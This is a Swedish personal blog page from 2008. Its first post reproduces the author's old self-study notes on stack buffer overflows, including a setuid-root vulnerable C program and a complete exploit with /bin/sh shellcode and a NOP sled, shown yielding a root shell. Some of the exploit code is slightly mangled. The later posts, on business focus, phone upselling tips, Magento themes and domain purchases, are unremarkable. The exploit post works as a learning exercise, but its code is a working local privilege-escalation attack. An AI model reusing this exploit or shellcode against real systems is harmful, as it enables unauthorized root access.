söndag 30 november 2008

gamla texter, BOF

hittade lite gamla texter och loggar :) Nostalgi!
Följande text skrev jag som en komihåg lapp och detta var precis när jag började lära mig utnyttja Buffer over flows. (Dvs du fyller inputen i ett program/script med för mycket så du kommmer åt att skriva vad du vill i Ram Minnet. och därigenom kan köra igång evil stuff och få högre rättigheter än vad du ska ha)



Buffer owerflows,
text av XXXX #XXXXX XXXX... ni är mediahoror käft
denna text kräver att du har grundläggande funktioner om hur datorn hanterar grejer i minnet. balblabl
kanske kommer en dag jag orkar lägga till text ang det.. jaja közz

BASICs

här är lite enkel kod

overflow.c ------------------------------------------------------------
void overflow_function(char *str)
{
char buffer[20];

strcpy(buffer, str); //funtion som kopierar str -> buffer
}

int main()
{
char big_string[128];
int i;

for(i=0;i<128; i++){
big_string[i] = 'A'; //fyller big_string med A
}
overflow_function(big_string);
exit(0);
}
EOF--------------------------------------------------------------------

detta kommer orsaka att man förösker fylla "buffer" med aldels förmånga A istället för
max 20 som den är alokerad till .. detta medför i sin tur->
--------------------------------------------------------------------------
gcc -o overflow overflow.c
./overflow
Segmentation fault
--------------------------------------------------------------------------

så långt hoppas jag alla redan är med vad en buffer overflow är...
--------------------------------------------------------------------------
stackbaserad overflow
.. om man tittar på programets funktion där. så är det ju så att den förösker
pressa ner A i stacken och när den bara har 20 st definerade att klara av så kommer
de överigaa 108byte spillas ut.. den skriver över stack frame pointer, return address
och str pekarens argument. efter det försöker programet att hoppa till return addressen i
minnet som nu istället är överskriven med massa A...detta orsakar då att programet
läser fel(dvs läser massa A istället för ret address etc) i minnet..
vilket gör att programet crashar..alltså där return address etc förväntars vara är
istället massa jävla A (0x41 hex)


skriv ett program som du kan sudo till root och skriva en exploit.... hm
vuln.c------------------------------------------------------------------------------
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
-----------------------------------------------------------------------------------
gcc -o vuln vuln.c
detta programet gör ju inte så mycket ...... men du ser själv det farliga idet va
säg att detta tillåts köras som root..
sudo chown root vuln
sudo chmod +s vuln
-----------------------------------------------------------------------------------
nu är detta programet redo att skrivas en exploit till detta förklaras NU =) ..
hmm i minnet läggs då balbalablblblab jag vet itne men tycker ni ska läsa typ något memory text istället för detta
-_--------------------------------------------------------------------------------

exploit.c---------------------------------------------------------------------------
#include

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x42\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{__asm__("movl %esp, %eax");} // anävänds för returnera stack pekaren..

int main(int argc, char *argv[]){
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp(); //tryck den nuvarande stack pekaren/pointer in i esp
ret = esp - offset; // vu vull skriva över ret addressen iminnet ju..

printf("stack pointer (ESP) : 0x%x\n", esp);
printf(" offsett från ESP : 0x%x\n", offset);
printf(" efterfrågad return adrs: 0x%x\n", ret);

//alokera 600byte för buffer..
buffer = malloc(600);

//fyll hela buffern med efterfrågade ..ret addresser,,
ptr = buffer
addr_ptr = (long *) ptr;
for(i=0;i<600;i+=4)
{ *(addr_ptr++) = ret; }

//fyll första 200 bytes av buffern med utfyllnads(NOP=¨x90)
for(i=0;i<200;i++)
{ buffer[i] = '\x90';}

//plasera shellcode efter NOP
ptr=buffer + 200;
for(i=0;i *(ptr++) = shellcode[i];}

//avsluta strängen
buffer[600-1] = 0;

//kör programet med våran buffer *SMAJL*
execl("./vuln", "vuln", buffer, 0);

//frigööör bufferminnet ajt
free(buffer);

return 0;
}
EOF----------------------------------------------------------------------------

resultat

gcc -o exploit exploit.c
./exploit
stack pointer (ESP) : 0xbffff978
offsett från ESP : 0x0
efterfrågad return adrs: 0xbffff978
#whoami
root
#
--------------------------------------------------------------------------------


WOOLLA detta va min egen lektion för mej själv .....



SLUT .................................................











fredag 28 november 2008

Fuck alla andra - Sätt fokus

Nu ska jag skälla lite på mig själv.

Jag har ett antal projekt/företag igång varav ETT av dom jag verkligen älskar att arbeta med och verkligen tror stenhårt på. Detta projektet har vi byggt upp grunden till under 2 år och det är verkligen i sin linda.

Jag arbetar aktivt med 3st företag. Samtidigt som jag har minst 3 projekt i gång vid sidan om dessa företagen.
Tyvärr tar detta mycket viktig tid från mig när jag skulle vilja jobba med det projektet jag verkligen brinner och stenhårt tror på.


Så va fan håller jag egentligen på med? Nu säljer jag av alla projekt, domäner och företag, avsäger mig uppdrag som inte hör till vad jag verkligen vill jobba med och ger företaget en ärlig chans att utvecklas. Om tre år ska jag vi ha minst 8miljoner i omsättning.

Fuck alla andra nu kör jag racet fullt ut.

onsdag 26 november 2008

Trevligare kundtjänst i Sverige! - Få dina kunder att älska dig

När en kund ringer dig, hur låter du på telefon?
Är du trevlig?
Får kunden intrycket av att du verkligen försöker du verkligen hjälpa din kund?
Skapar du merförsäljning?


Kundtjänsten är i många fall det enda sättet att skapa tvåvägskommunikation med dina kunder, utnyttja det! Se aldrig din kundtjänst som en kostnad utan se det som marknadsföring.

När en kund ringer och frågar om en produkt eller vill göra en order, har du några bra pickup lines för att öppna upp kunden ?
Små små frågor som får kunden att öppna sig och berätta om sin egen situation. Människor älskar att prata om sig själva! (Även fast vi kanske inte vill erkänna det). Visar du då att du bryr dig om vad kunden säger så kommer dom älska dig.

Skriv upp en lapp och tejpa i samband med din skärm eller telefon så du ständigt blir påmind! På lappen kan du tex skriva små stödord med öppna frågor.


Några exempel:
Vid försäljning av väggfästen för att hänga upp platt-tv på väggen, så frågar ofta kunden vilket fäste som passar dennes tv. Wips så fick du tvmodellen, beröm tv-valet. Fråga om dom har mycket grejerinkopplat eller klaga på att det är mycket kablar till en tv, (detta kommer kunden hålla med om). Berätta om att ni säljer ju även kabellister för att snyggt dölja kablarna snyggt på väggen. $$$$


Du säljer bildelar och bilstyling oftast får du info om vilken bilmodell ni pratar om då dom flesta delarna är modellspecifika. Fråga kunden om vilken färg det är på bilen och berätta att denna färgen är en av dom du tycker är snyggast (oftast räcker det att fråga vilken färg det är på bilen så kommer kunden berätta allt om sin älskade bil). Styr vidare samtalet och låt kunden berätta lite om sin bil. Ta in vad kunden säger och tipsa kunden om produkter.


Kunden kommer bara bli glad när du visar att du bryr dig.



Vad har du gjort för att utveckla ditt kundbemötande på telefon/mail? Inget? Se till att gör det! Jag måste slå ett slag för att det är väldigt lärorikt att gå en kurs och att dessa kurser betalar sig väldigt fort.



Nästa kurs för mig kanske vore nog att skriva bättre texter :)

onsdag 5 november 2008

Magento e-handel design theme

Att skapa Teman för magento är inte så svårt som man kan tro.

Ett tips är att börja med Temat som heter Blank som är lite lättare att redigera i än default tema.

Det kan dock vara lite meckigt att förstå uppbyggnaden av Magentos sätt att bygga upp teman på. Jag jobbar på några guider som förklarar på Svenska.

Men Förstår man bara innebörden av dom tre hörnstenarna
  • layouts
  • Templates
  • Skins

Och då framförallt hur Layouts är uppbyggt med deras "xml" språk. Så har man kommit en bra bit på vägen. Har man även lite PHP i grunden och Objektorienterat tänkande så är det inte alls några svårigheter!

Justerar på det sista i min första magentodesign. (Utgick från en färdig PSD jag hittade på nätet för att få övning i att designa för magento)

Domänförvärv

domäner domäner domäner

Köpte under förra veckan:
music.al (musical) (verkar kunna ge en bra utdelning, intresset har varit stort runt just denna domän)
sms.al
radio.al (radio heter även radio på albanska)
rent.al (rental)
games.al
Charter.al
SMS.al (fått bud på 40k SEK)
Seks.al (Sex på albanska)
Apartamente.al
Moda.al (Mode)
Football.al & Futboll.al (fotboll på albanska)
gay.al
bet.al
betting.al
och ett större gäng med mer domäner.

Kommentera gärna domänerna och ppsst alla är tillsalu.